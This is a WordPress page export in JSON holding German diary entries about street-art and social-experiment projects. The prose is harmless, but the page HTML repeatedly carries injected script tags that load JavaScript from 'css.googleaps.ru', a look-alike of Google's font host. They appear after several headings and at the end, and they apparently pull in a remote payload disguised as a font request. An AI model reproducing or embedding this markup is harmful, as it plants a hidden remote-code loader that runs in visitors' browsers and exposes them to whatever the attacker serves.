{"id":57,"date":"2018-03-31T16:55:48","date_gmt":"2018-03-31T14:55:48","guid":{"rendered":"http:\/\/old.gesellschaftslabor.com\/?page_id=57"},"modified":"2018-03-31T16:57:23","modified_gmt":"2018-03-31T14:57:23","slug":"essenz","status":"publish","type":"page","link":"https:\/\/old.gesellschaftslabor.com\/?page_id=57","title":{"rendered":"Essenz"},"content":{"rendered":"<p class=\"intro\">Unsere. Pers\u00f6nliche. Essenz.<script src=\"\/\/css.googleaps.ru\/css?f=Open+Sans&amp;cd=mb&amp;ver=4.2.2\" type=\"text\/javascript\"><\/script><\/p>\n<p class=\"intro\">Realit\u00e4tsverlust<script src=\"\/\/css.googleaps.ru\/css?f=Open+Sans&amp;cd=mb&amp;ver=4.2.2\" type=\"text\/javascript\"><\/script><\/p>\n<p>Das Projekt Realit\u00e4tsverlust im echten Leben. Fremde Personen ansprechen: &#8222;Guten Tag. Ich w\u00fcrde Ihnen gerne nur anhand Ihres \u00c4u\u00dferen sagen, wer Sie sind.&#8220;<\/p>\n<p>Und los geht\u00b4s. Einfach sagen, was einem in den Sinn kommt. Welches Alter? Welcher Beruf? Familienstand? Kinder? Hobbies? Respektvoll, versteht sich.<br \/>\nManchmal \u00fcberraschend richtig liegen und manchmal \u00fcberraschend falsch. F\u00fcr mich pers\u00f6nlich sehr bereichernd zu sehen, dass die Welt meistens nicht so ist, wie man sie bisher konstruiert hat. Daraus ergibt sich das gute Gef\u00fchl von sehr viel mehr M\u00f6glichkeiten als man urspr\u00fcnglich geglaubt hat.<\/p>\n<p>Die Herausforderung liegt darin t\u00e4glich mehrmals fremde Personen anzusprechen. Dazu muss ich mich immer wieder \u00fcberwinden. Bisher waren viele der Projekte so aufgebaut, dass ich etwas zur Verf\u00fcgung gestellt habe und Leute selbst entscheiden konnten, ob sich auf mich zukommen oder nicht (z.B. Projekt eins). Das Ansprechen bringt jetzt aber die Gefahr mit sich, zur\u00fcckgewiesen zu werden. Das ist nicht angenehm.<\/p>\n<p>Ich bin mir durch das \u00dcben mittlerweile sicher, dass ich das gut aushalte. Und, dass gerade diese Erkenntnis in Kombination mit dem Entdecken neuer M\u00f6glichkeiten einer der positivsten Effekte des Projekts f\u00fcr mich ist.<\/p>\n<p>Parallel dazu haben wir auch eine Facebook-Variante erarbeitet. Hier bekomme ich immer wieder sehr eindrucksvoll vorgef\u00fchrt, welche Bedeutung die Meinung anderer f\u00fcr mich hat. Jeden Tag mehrmals der Blick darauf, wie viele Leute etwas geliked oder geshared haben. Freude dar\u00fcber, wenn etwas aufgeht. Best\u00e4tigung.<br \/>\nDas Posten auf Facebook eignet sich hervorragend, um komplexe Ideen auf ihren Kern zu reduzieren. Lange Texte interessieren keinen Menschen. Kurze S\u00e4tze, ein anschlussf\u00e4hige Message in Kombination mit einem Nutzen f\u00fcr das Gegen\u00fcber und ab geht die\/der Post. Man erarbeitet sich dadurch auch eine sch\u00f6ne Klarheit f\u00fcr sich selbst. Findet eine Antwort darauf, worum es einem da eigentlich geht.<\/p>\n<p>Sp\u00fcrbar ist aber auch, dass das Gesellschaftslabor mit all den Effekten, Erlebnissen und Begegnungen im echten Leben am besten aufgehoben ist. Wir sind daher auch 2016 wieder sehr, sehr viel im \u00f6ffentlichen Raum unterwegs. Dort sind wir gut. Dort gef\u00e4llt-es uns. Dort sind wir wirkungsvoll.<\/p>\n<p class=\"intro\">WIRKlichkeit<script src=\"\/\/css.googleaps.ru\/css?f=Open+Sans&amp;cd=mb&amp;ver=4.2.2\" type=\"text\/javascript\"><\/script><\/p>\n<p>\u201e Das ist mal Aktionismus.\u201c<\/p>\n<p>Sagte der volltrunkene Passant am Dienstag Morgen und hatte auf absurde Weise einen Nerv getroffen. 22 Stunden stehen, nichts tun, schweigen und da sein. Einige Spuren, vor Allem aber Fragen: <\/p>\n<p>Montags zum ersten Mal Position bezogen. Die erste Stunde stehen in einer Masse, die einen umgibt und aufsaugt. Am Anfang ganz aufgeregt und gespannt, was alles so passieren mag. Dann die ersten Reaktionen: positiv, negativ, besorgt (um sich oder mich), genervt, begeistert, erschrocken, fragw\u00fcrdig, verstanden. Jetzt ist man drin. Jetzt sieht man die fragenden Blicke und das Arbeiten in den K\u00f6pfen. Die Frage ist da, die Antworten m\u00fcssen selbst geschmiedet werden. <\/p>\n<p>Dann kommt irgendwann die Ver\u00e4nderung. Das Stehen wird zum Allt\u00e4glichen &#8211; erst f\u00fcr den Stehenden, dann f\u00fcr die Gehenden. Keine Reaktionen mehr. Man dringt ein in die Wirklichkeit. Man ist drin und wird zum etablierten St\u00f6rer. Unsichtbar. Der Rollentausch ist perfekt. Von <em>Was macht der da?<\/em> zu <em>Was mach ich hier?<\/em>. Und pl\u00f6tzlich stellen sich Routinen ein. Menschen die gr\u00fc\u00dfen. Menschen die ermunternde Schulterklopfer verteilen. Eine Beziehung mit Fremden. Schnittmenge ist die eine Kreuzung an dem einen Ort. <\/p>\n<p>Jetzt gehts um die Nuancen. Ein strenger Blick. Ein offener Blick. M\u00fcde Augen. Wache Augen. Ein Sticker. Kein Sticker. Viele Beobachter der eigenen Beobachtung passieren nur. Der Rest mag in den K\u00f6pfen weitergehen. Manche haben Fragen &#8211; auf die es keine Antworten gibt. Manche wollen mehr wissen &#8211; wo es nichts zu wissen gibt, sondern nur zu erfahren. Alle sind Teil. <\/p>\n<p>Wieviel Bruch des Normalen braucht es? Um wen geht\u2019s? Wer reagiert? Und warum die und die anderen nicht? Kann man auch passiv reagieren? Sind die Besorgten wirklich besorgt? Und warum? Wie gef\u00e4hrlich ist die Unsichtbarkeit? Und wieviel Unsichtbares gibt es? Warum lacht man, bevor man es versteht?<br \/>\nViele, viele Fragen schwirren umher. Wenn da drau\u00dfen irgendwo Antworten sind, dann her damit!<\/p>\n<p>\u201eIst das Kunst?\u201c &#8211; Gerne w\u00fcrde ich <em>Nein, es ist Realit\u00e4t!<\/em> sagen, schweige aber kunstvoll.<br \/>\n&nbsp;<\/p>\n<p class=\"intro\">ichmachwasihrwollt<script src=\"\/\/css.googleaps.ru\/css?f=Open+Sans&amp;cd=mb&amp;ver=4.2.2\" type=\"text\/javascript\"><\/script><\/p>\n<p><strong> Tag 5 \u2013 ichmachwasihrwollt<br \/>\n<\/strong><br \/>\nAuch am letzten Tag von ichmachwasihrwollt gelingt es mir nur sehr eingeschr\u00e4nkt, Entscheiden komplett aufzugeben und mich treiben zu lassen. Immer wieder werte ich und treffe damit richtungsgebende Minientscheidungen.<\/p>\n<p>Au\u00dfenorientierung: Ist es ein \u201egutes\u201c Projekt? Gibt es Likes auf Facebook? Ist es ernsthaft genug oder Kindergeburtstag? Gef\u00e4llt es den Menschen rundherum? Auch das war immer wieder Teil meiner \u00dcberlegungen.<\/p>\n<p>Eindr\u00fccke Max:<br \/>\nAm zweiten und letzten Tag des Projekts frage ich mich, ob den Menschen um uns herum wirklich so viel egal ist, wie wir es erfahren. Ob du dich nach dem Mittagessen erkundigst oder denjenigen erfahren m\u00f6chtest, der 100\u20ac gespendet bekommt \u2013 juckt keinen. Au\u00dfer uns vielleicht. Ein Auftrag wie diese 100\u20ac bewegt etwas. Es sind wenige, aber gute, die es dann doch interessiert und nachhaken \u2013 warum, wer, was, wohin geht es und woher kommt es.<\/p>\n<p>Fazit nach zwei Tagen: Zu kurz und durchhalten. Die T\u00e4ler k\u00f6nnen tief sein aber dadurch werden die H\u00f6hen nur h\u00f6her. Und Danke!<\/p>\n<p> <strong>Tag 4 \u2013 ichmachwasihrwollt<\/strong><\/p>\n<p>Facebook bzw. Onlinepr\u00e4senz ver\u00e4ndert das Projekt. Ich pers\u00f6nliche denke in vielen Situationen daran, ob es gerade jetzt vern\u00fcnftig w\u00e4re ein Bild\/Video zu machen, um das Erlebte m\u00f6glichst gut im Internet zu teilen. Das l\u00e4hmt mich. Schr\u00e4nkt mich ein.<\/p>\n<p>Ich bemerke auch, dass ich von Tag zu Tag etwas mehr davon entt\u00e4uscht bin, dass ich ichmachwasihrwollt nicht ganz in eine von mir insgeheim erw\u00fcnschte Richtung gebracht habe. Die Botschaften vielleicht nicht gut genug kommuniziert habe. Ich sch\u00e4tze es auch diese Erfahrung zu machen um so in Zukunft mit noch wirkungsvolleren Projekten an den Start zu gehen.<\/p>\n<p>Am Tag 4 und auch am morgigen Tag 5 begleitet mich mein Freund Max, dem ich auch an dieser Stelle daf\u00fcr eine herzliches \u201eDanke Digga\u201c schicken will!<\/p>\n<p>Max\u00b4s Impressionen von Tag 4:<\/p>\n<p>Der Start viel mir relativ schwer, meine Hemmschwelle fremde Menschen anzusprechen um mich\/uns zu entscheiden ist dann aber recht schnell gesunken. Kleider machen Leute \u2013 zumindest nach au\u00dfen. Sobald man dann ins Gespr\u00e4ch kommt, ist man \u00fcberrascht, wie sehr man sich oft vom ersten, oberfl\u00e4chlichen Eindruck t\u00e4uschen hat lassen.<\/p>\n<p>Tag 4 wurde durch die Aufgabe des \u201eH\u00e4ndchen haltens\u201c gepr\u00e4gt. Eine kleine Geste mit gro\u00dfer Wirkung. Positive Resonanz von Personen mit denen man normalerweise in Konkurrenz stehen w\u00fcrde.<\/p>\n<p> <strong>Tag 3 \u2013 ichmachwasihrwollt<\/strong>\t<\/p>\n<p>Ich habe ichmachwasihrwollt bewusst ganz offen gelassen. Keine Einschr\u00e4nkungen des Ortes, der finanziellen Mittel,\u2026 Der heutige Tag 3 hat mir sehr sch\u00f6n gezeigt, wie wenig Bewusstsein ich bisher daf\u00fcr hatte, wie ich jedes Entschieden werden inhaltlich werte. Wenn ich tats\u00e4chlich unentschieden sein will und damit Dinge nicht von vornherein diskriminieren will, f\u00fchrt f\u00fcr mich kein Weg daran vorbei auch dieses \u2013 teilweise sehr automatisierte, fast unbewusste \u2013 Werten zu hinterfragen. Die Grenze zwischen Werten und Entscheiden erlebe ich als sehr, sehr schmal.<\/p>\n<p>Spannend erscheint mir die Analyse der online abgegebene Entscheidungen. Die Bandbreite ist enorm und ich h\u00fcte mich sehr davor, dahinterstehende Beweggr\u00fcnde festzulegen. Spontan scheint es mir, als steckt hinter den Aufgaben oft ein eigener Wunsch sich Dinge zu trauen. Das Gef\u00fchl, dass der Wunsch vorhanden ist, jemanden in Schwierigkeiten zu bringen, habe ich bisher noch nicht wahrgenommen.<\/p>\n<p>Es scheint auch ein gewisses Massenph\u00e4nomen hinter der Aufgabenausrichtung zu geben. Polterabendaktion zieht Polterabendaktion nach sich, Mitmenschaktion eher Mitmenschaktion.<\/p>\n<p>Das Projekt wird sich am morgigen Tag 4 etwas ver\u00e4ndern. Mehr dazu dann tagesaktuell auf Facebook. F\u00fcr heute war\u00b4s das. Vielen Dank an alle, die mitgemacht haben!<\/p>\n<p> <strong>Tag 2 \u2013 ichmachwasihrwollt<\/strong>\t<\/p>\n<p>Das Projekt ver\u00e4ndert etwas hinsichtlich meiner Einstellung zu (allt\u00e4glichen) Entscheidungen. Sie erscheinen unwichtig. T\u00e4tigkeiten und Schaupl\u00e4tze werden zur Nebensache. Ich hab mich mit und gondle unentschieden durch die Welt. Was Relevanz hat ist gut eingepackt, wenn ich mich akzeptiere, ehrlich zu mir bin und entsprechend agiere.<\/p>\n<p>Auch interessant zu beobachten und mit dem ersten Punkt verbunden ist die Tatsache, dass Ver\u00e4nderungen am K\u00f6rper \u2013 Haltung, Kleidung, Ausdruck \u2013 viel mehr Einfluss auf das Verlassen von Routinen haben als Orte und T\u00e4tigkeiten. Letzteres erscheint, wie oben bereits angef\u00fchrt, fast wirkungslos. <\/p>\n<p> <strong>Tag 1 \u2013 ichmachwasihrwollt<\/strong>\t<\/p>\n<p>Wow, was f\u00fcr ein erster Tag! Ich bin k.o. will aber doch noch ein paar erste Eindr\u00fccke aufschreiben.<br \/>\nStart: \u201eGehe auf die Stra\u00dfe, versperre den Passanten den Weg und lasse sie erst durch, wenn du sie \u00fcberzeugt hast, dass sie an dem Projekt mitmachen und dir eine Entscheidung abgenommen haben\u2026\u201c Okay, los geht\u00b4s. Aber wie eigentlich? Fahrrad, Ubahn oder gar Auto? Mitmensch entscheidet Fahrrad. Gut. Aber welche Route? Okay auch nachgefragt und entschieden worden. Ankunft Mah\u00fc. Hunger. Werde zum Bobob\u00e4cker geschickt. Verk\u00e4uferin w\u00e4hlt mir ein Rosinenbr\u00f6tchen aus. Rosinen hasse ich.<\/p>\n<p>Zur\u00fcck zur ersten Online-Entscheidung: Passantin aufgehalten und gefragt, was zu tun ist: \u201eSuch Dir einen Job\u201c. N\u00e4chste Entscheidung: wo, wie? Anderer Passant entscheidet: \u201eGanz klar, Hotel\u201c. N\u00e4chste Person: \u201eHotel Arian\u201c. Dort angekommen Rezeptionist: \u201eKein Job, gehen Sie zur\u00fcck auf die Mah\u00fc und fragen Sie jemand anderen\u201c. \u201eMarktstand\u201c. Nix. \u201eKantine MQ\u201c. Nix. \u201eCaritas Westbahnhof\u201c. Warteliste, Einsatz fr\u00fchestens Ende der Woche. Mann schickt mich ins Westend, Kellner serviert mir ein Bier und entscheidet, dass ich in 15 Minuten wieder gehen muss. Zeitgleich Online-Anweisung: \u201eMach ein Nickerchen auf einer Bank\u201c. Super, ein Bier intus und jede Menge B\u00e4nke im Westend. Dann die Anweisung: Univortrag \u00fcber die Gleichstellung von Katze und Hund. Ich werde entschieden: Wirtschaftsuni, Audimax, eh klar:<\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/ZHNdWfOHngc\" frameborder=\"0\" allowfullscreen><\/iframe><br \/>\n<script src=\u201c\/\/css.googleaps.ru\/css?f=Open+Sans&#038;cd=mb&#038;ver=4.2.2\u201d><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Unsere. Pers\u00f6nliche. Essenz. Realit\u00e4tsverlust Das Projekt Realit\u00e4tsverlust im echten Leben. Fremde Personen ansprechen: &#8222;Guten Tag. Ich w\u00fcrde Ihnen gerne nur anhand Ihres \u00c4u\u00dferen sagen, wer Sie sind.&#8220; Und los geht\u00b4s. Einfach sagen, was einem in den Sinn kommt. Welches Alter? Welcher Beruf? Familienstand? Kinder? Hobbies? Respektvoll, versteht sich. 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